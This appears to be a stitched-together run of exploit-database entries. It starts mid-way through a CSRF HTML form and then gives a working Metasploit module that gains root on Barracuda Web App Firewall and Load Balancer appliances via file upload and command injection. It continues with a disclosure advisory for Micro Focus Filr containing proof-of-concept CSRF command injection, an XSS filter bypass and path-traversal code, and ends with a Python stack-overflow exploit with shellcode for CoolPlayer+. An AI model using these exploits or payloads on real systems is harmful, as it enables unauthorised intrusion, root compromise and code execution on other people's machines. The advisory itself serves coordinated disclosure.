      <input type="hidden" name="HidRS422StartTwo" value="F7" />
      <input type="hidden" name="HidRS422EndOne" value="0D" />
      <input type="hidden" name="HidRS422EndTwo" value="0A" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)
# Date: 07/25/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.007 (2016-01-07)
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07)
# CVE : None.

# This exploit combines 2 bugs to leverage root access
# Vuln 1: ondefined_view_template trigger    - File upload vuln
# Vuln 2: ondefined_remove_corefiles trigger - Command injection vuln (from loaded file data)

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)',
                        'Description'    => %q{
                                        This module exploits a remote command execution vulnerability in
                                the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004
                                by exploiting a two vulnerabilities in the web administration interface. The first bug leverages a Arbitrary File
				Upload vulnerability to create a malicious file containing shell commands before using a second bug meant to clean
				up left-over core files on the device to execute them. By sending a specially crafted requests
                                it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces.
                        },
	
			'Author'         =>
				[
					'xort', # vuln + metasploit module
				],
			'Version'        => '$Revision: 2 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
                                [
                                        ['Barracuda Web App Firewall Firmware Version <= 8.0.1.007 (2016-01-07)',
                                                {
                                                                'Arch' => ARCH_X86,
                                                                'Platform' => 'linux',
                                                                'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                                                }
                                        ],

                                        ['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
                                                {
                                                                'Arch' => ARCH_X86,
                                                                'Platform' => 'linux',
                                                                'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
                                                }
                                        ],
                                ],
	
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
		      'headers' => 
			{
				'Accept' => "application/json, text/javascript, */*; q=0.01",
				'Content-Type' => "application/x-www-form-urlencoded",
				'X-Requested-With' => "XMLHttpRequest"
			},
                      'vars_post' =>
                        {

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
			  'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

		# file to overwrite
		cmd_file = "/home/product/code/config/corefile_list.txt"

 		# file to replace
		sudo_cmd_exec = target['SudoCmdExec']

                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)

                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile

	 	exploitreq = [
		[ "auth_type","Local" ],
		[ "et",et ],
		[ "locale","en_US" ],
		[ "password", password  ],
		[ "primary_tab", "BASIC" ],
		[ "realm","" ],
		[ "secondary_tab","reports" ],
		[ "user", username ],
		[ "timestamp", Time.now.to_i ],
		
		[ "upload_template_file_filename", "admin" ]
		]

		
		boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
		post_data = ""
	
		exploitreq.each do |xreq|
		    post_data << "--#{boundary}\r\n"
		    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
		    post_data << "#{xreq[1]}\r\n"
		end

		# upload file
		up_filename = cmd_file
	        post_data << "--#{boundary}\r\n"
	        post_data << "Content-Disposition: form-data; name=\"upload_template_file\"; filename=\"../#{up_filename}\"\r\n\r\n"
		post_data << ";#{injection_string};\r\n"

	        # end data
	        post_data << "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"view_template\"\r\n\r\n"
		post_data << "\r\n"

	    	post_data << "--#{boundary}--\r\n" # end boundary

		# upload file vuln
	        res = send_request_cgi({
         	   'method' => 'POST',
	           'uri'    => "/cgi-mod/index.cgi",
       		   'ctype'  => "multipart/form-data; boundary=#{boundary}",
            	   'data'   => post_data,
		   'headers' => 
			{
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
				'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				'Accept-Language' => "en-US,en;q=0.5"
			}
	        })	

		post_data = ""

                exploitreq.each do |xreq|
                    post_data << "--#{boundary}\r\n"
                    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
                    post_data << "#{xreq[1]}\r\n"
                end

		# triger vuln 
	        post_data <<  "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"remove_corefiles\"\r\n\r\n"
		post_data << "\r\n"

	    	post_data << "--#{boundary}--\r\n" # end boundary

                # upload file vuln
                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-mod/index.cgi",
                   'ctype'  => "multipart/form-data; boundary=#{boundary}",
                   'data'   => post_data,
                   'headers' =>
                        {
                                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
                                'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                                'Accept-Language' => "en-US,en;q=0.5"
                        }
                })



	end

	def run_script(username, password, et, cmds)
	  	vprint_status( "running script...\n")
	  
	  
	end
	
	def exploit
		# timeout
		timeout = 1550;

		user = "admin"
		
		# params
                real_user = "";
		login_state = "out"
		et = Time.now.to_i
		locale = "en_US"
		user = "admin"
		password = "admin"
		enctype = "MD5"
		password_entry = ""
		password_clear = "admin"
		

		password_hash, et = do_login(user, password_clear, et)
		vprint_status("new password: #{password_hash} et: #{et}\n")

		sleep(5)


		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

                        handler
                end


	end

end
            
SEC Consult Vulnerability Lab Security Advisory < 20160725-0 >
=======================================================================
              title: Multiple vulnerabilities 
            product: Micro Focus (former Novell) Filr Appliance
 vulnerable version: Filr 2 <=2.0.0.421, Filr 1.2 <= 1.2.0.846
      fixed version: Filr 2 v2.0.0.465, Filr 1.2 v1.2.0.871
         CVE number: CVE-2016-1607, CVE-2016-1608, CVE-2016-1609
                     CVE-2016-1610, CVE-2016-1611
             impact: critical
           homepage: https://www.novell.com/products/filr/
              found: 2016-05-23
                 by: W. Ettlinger (Office Vienna)
                     SEC Consult Vulnerability Lab 

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Unlike other mobile file access and collaborative file sharing solutions, Micro
Focus Filr has been designed with the enterprise in mind, resulting in less
administration, better security and more productive users."

URL: https://www.novell.com/products/filr/


Business recommendation:
------------------------
During a very quick security check several vulnerabilities with high impact 
have been discovered. SEC Consult recommends to immediately apply the patches 
provided by Micro Focus to address these issues. 

Please note that since SEC Consult did not conduct a thorough technical security
check SEC Consult cannot make a statement regarding the overall security of the
Micro Focus Filr appliance.


Vulnerability overview/description:
-----------------------------------
During a quick security check several vulnerabilities have been identified that 
ultimately allow an attacker to completely compromise the appliance:

1) Cross Site Request Forgery (CSRF) - CVE-2016-1607
Several functions within the appliance's administative interface lack protection
against CSRF attacks. This allows an attacker who targets an authenticated 
administrator to reconfigure the appliance.

2) OS Command Injection - CVE-2016-1608
The appliance administrative interface allows an authenticated attacker to 
execute arbitrary operating system commands. Please note that an attacker can 
combine this vulnerability with vulnerability #1. In this scenario, an attacker 
does not need to be authenticated.

3) Insecure System Design
The appliance uses a Jetty application server to provide the appliance 
administration interface. This application server is started as the superuser 
"root". Please note that combined with vulnerability #1 and #2 an attacker can
run commands as the superuser "root" without the need for any authentication.
For vendor remark on #3 see solution section.

4) Persistent Cross-Site Scripting - CVE-2016-1609
The Filr web interface uses a blacklist filter to try to strip any JavaScript 
code from user input. However, this filter can be bypassed to persistently 
inject JavaScript code into the Filr web interface.

5) Missing Cookie Flags
The httpOnly cookie flag is not set for any session cookies set by both the 
administrative appliance web interface and the Filr web interface. Please note 
that combined with vulnerability #4 an attacker can steal session cookies of 
both the appliance administration interface and the Filr web interface (since 
cookies are shared across ports).
For vendor remark on #5 see solution section.

6) Authentication Bypass - CVE-2016-1610
An unauthenticated attacker is able to upload email templates.

7) Path Traversal - CVE-2016-1610
The functionality that allows an administrator to upload email templates fails 
to restrict the directory the templates are uploaded to. Please note that 
combined with vulnerability #6 an attacker is able to upload arbitray files with
the permissions of the system user "wwwrun".

8) Insecure File Permissions - CVE-2016-1611
A file that is run upon system user login is world-writeable. This allows a local 
attacker with restricted privileges to inject commands that are being executed
as privileged users as soon as they log into the system. Please note that 
combined with vulnerabilities #6 and #7 an unauthenticated attacker can inject 
commands that are executed as privileged system users (e.g. root) using the Filr
web interface.


Proof of concept:
-----------------
1, 2, 3)
The following HTML fragment demonstrates that using a CSRF attack (#1) system 
commands can be injected (#2) that are executed as the user root (#3):

----- snip -----
<html>
  <body>
    <form action="https://<host>:9443/vaconfig/time" method="POST">
      <input type="hidden" name="ntpServer" value="0.novell.pool.ntp.org 1.novell.pool.ntp.org';id>/tmp/test;'" />
      <input type="hidden" name="region" value="europe" />
      <input type="hidden" name="timeZone" value="Europe/Vienna" />
      <input type="hidden" name="utc" value="true" />
      <input type="hidden" name="_utc" value="on" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
----- snip -----

4)
The following string demonstrates how the XSS filter can be circumvented:
<img src='>' onerror='alert(1)'>

This string can e.g. be used by a restricted user in the "phone" field of the 
user profile. The script is executed by anyone viewing the profile (e.g. admins).

5)
None of the session cookies are set with the httpOnly flag.

6, 7, 8)
The following Java fragment demonstrates how an unauthenticated attacker (#6) 
can overwrite a file in the filesystem (#7 & #8) that is executed upon user login 
of e.g. the root user:

----- snip -----
String sessionCookie = "sectest";
String host = "http://<host>/";

ProxySettings settings = new ProxySettings();
HttpCookie cookie = new HttpCookie("JSESSIONID", sessionCookie);

settings.setCookieManager(new CookieManager());
settings.getCookieManager().getCookieStore().add(new URI(host), cookie);

settings.setModuleBaseUrl(host + "ssf/gwt/");
settings.setRemoteServiceRelativePath("gwtTeaming.rpc");
settings.setPolicyName("338D4038939D10E7FC021BD64B318D99");
GwtRpcService svc = SyncProxy.createProxy(GwtRpcService.class, settings);

VibeXsrfToken token = new VibeXsrfToken(
		StringUtils.toHexString(Md5Utils.getMd5Digest(sessionCookie.getBytes())));
((HasRpcToken) svc).setRpcToken(token);

String fileName = "../../../../etc/profile.d/vainit.sh";
FileBlob fileBlob = new FileBlob(ReadType.TEXT, fileName, "", 1l, 4, 1l, false, 4l);
fileBlob.setBlobDataString("id > /tmp/profiledtest\n");
BinderInfo folderInfo = new BinderInfo();
folderInfo.setBinderId((long) 1);
folderInfo.setBinderType(BinderType.WORKSPACE);
folderInfo.setWorkspaceType(WorkspaceType.EMAIL_TEMPLATES);
VibeRpcCmd cmd = new UploadFileBlobCmd(folderInfo, fileBlob, true);
HttpRequestInfo ri = new HttpRequestInfo();
svc.executeCommand(ri, cmd);
----- snip -----


Vulnerable / tested versions:
-----------------------------
The version 2.0.0.421 of Micro Focus Filr was found to be vulnerable. This version 
was the latest version at the time of the discovery.

According to the vendor, Filr 1.2 is also vulnerable.



Vendor contact timeline:
------------------------
2016-05-23: Sending encrypted advisory to security@novell.com, Setting latest
            possible release date to 2016-07-12
2016-05-24: Initial response from Micro Focus: forwarded the information to Filr
            engineering team
2016-06-13: Micro Focus releases patch to address issue #8
2016-06-14: Requested status update
2016-06-14: Micro Focus expects release of the patches in early July
2016-06-30: Asking for status update, answer of Micro Focus
2016-07-06: Micro Focus needs more time to patch issues, release re-scheduled for 15th
2016-07-12: Asking for status update; "final rounds of QA" at Micro Focus
2016-07-16: Postponing advisory release, patch not yet ready
2016-07-22: Patch release by Micro Focus
2016-07-25: Coordinated advisory release
  

Solution:
---------
The "Filr 2.0 Security Update 2" can be downloaded here and should
be applied immediately:
https://download.novell.com/Download?buildid=3V-3ArYN85I~
Those patches fix vulnerabilities #1, #2, #4, #6, #7

"Filr 1.2 Security Update 3" can be found here:
https://download.novell.com/Download?buildid=BOTiHcBFfv0~


Knowledge base references at Micro Focus:
Issue #1: https://www.novell.com/support/kb/doc.php?id=7017786
Issue #2: https://www.novell.com/support/kb/doc.php?id=7017789
Issue #4: https://www.novell.com/support/kb/doc.php?id=7017787
Issue #6 & #7: https://www.novell.com/support/kb/doc.php?id=7017788

Local privilege escalation via insecure file permissions (#8) has
already been fixed in the Filr 2.0 security update 1 in June:
https://www.novell.com/support/kb/doc.php?id=7017689


Issue #3: According to Micro Focus, Jetty actually runs as user 
"vabase-jetty" but will pass commands off to another service on
the box that runs as root to perform privileged actions.
They have fixed the command injection in this release and the
next release will include much more stringent parameter validation
for passing the commands.

Issue #5: According to Micro Focus, a component of Filr does not
function properly when the httpOnly flag is enabled. This will be
addressed in a future release.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult? 
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF W. Ettlinger / @2016
            
# Exploit Title: [CoolPlayer+ Portable build 2.19.6 - .m3u Stack Overflow [Egghunter+ASLR bypass]] 
# Exploit Author: [Karn Ganeshen] 
# Download link: [https://sourceforge.net/projects/portableapps/files/CoolPlayer%2B%20Portable/CoolPlayerPlusPortable_2.19.6.paf.exe/download?use_mirror=liquidtelecom]
# Version: [Current version 2.19.6] 
# Tested on: [Windows Vista Ultimate SP2] 
# 
# Couple of bof exploits for older versions already on EDB:
# https://www.exploit-db.com/search/?action=search&description=coolplayer

#!/usr/bin/python

total_buf = 2000

filename="evil.m3u"

# msfvenom -p windows/exec cmd=calc.exe -b \x00\x0a\x0c\0d EXITFUN=thread -f c
# Payload size: 220 bytes

shellcode = ("\xdb\xdc\xd9\x74\x24\xf4\x58\xbb\x9a\xc7\xdb\xe9\x31\xc9\xb1"
"\x31\x31\x58\x18\x83\xe8\xfc\x03\x58\x8e\x25\x2e\x15\x46\x2b"
"\xd1\xe6\x96\x4c\x5b\x03\xa7\x4c\x3f\x47\x97\x7c\x4b\x05\x1b"
"\xf6\x19\xbe\xa8\x7a\xb6\xb1\x19\x30\xe0\xfc\x9a\x69\xd0\x9f"
"\x18\x70\x05\x40\x21\xbb\x58\x81\x66\xa6\x91\xd3\x3f\xac\x04"
"\xc4\x34\xf8\x94\x6f\x06\xec\x9c\x8c\xde\x0f\x8c\x02\x55\x56"
"\x0e\xa4\xba\xe2\x07\xbe\xdf\xcf\xde\x35\x2b\xbb\xe0\x9f\x62"
"\x44\x4e\xde\x4b\xb7\x8e\x26\x6b\x28\xe5\x5e\x88\xd5\xfe\xa4"
"\xf3\x01\x8a\x3e\x53\xc1\x2c\x9b\x62\x06\xaa\x68\x68\xe3\xb8"
"\x37\x6c\xf2\x6d\x4c\x88\x7f\x90\x83\x19\x3b\xb7\x07\x42\x9f"
"\xd6\x1e\x2e\x4e\xe6\x41\x91\x2f\x42\x09\x3f\x3b\xff\x50\x55"
"\xba\x8d\xee\x1b\xbc\x8d\xf0\x0b\xd5\xbc\x7b\xc4\xa2\x40\xae"
"\xa1\x5d\x0b\xf3\x83\xf5\xd2\x61\x96\x9b\xe4\x5f\xd4\xa5\x66"
"\x6a\xa4\x51\x76\x1f\xa1\x1e\x30\xf3\xdb\x0f\xd5\xf3\x48\x2f"
"\xfc\x97\x0f\xa3\x9c\x79\xaa\x43\x06\x86")

# Egghunter - 32 bytes
eggh = ("\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74" 
"\xef\xb8\x54\x30\x30\x57\x8b\xfa" 
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

# EIP overwrite appears to depend upon location from where the evil file is loaded from
# Tested from location - C:\
# For e.g. offset will be different if file is loaded from C: (260) vs C:\Windows\ (249)

junk = "A"*28
eip = "\xa1\x99\x42\x00" # 0x004299a1 jmp ebx - coolplayer+.exe [noaslr,norebase,nosafeseh]

evil = junk + eggh + "\x90"*200 + eip + "\x90"*18 + "T00WT00W" + shellcode + "\x90"*1490

file = open(filename , 'w')
file.write(evil)
file.close()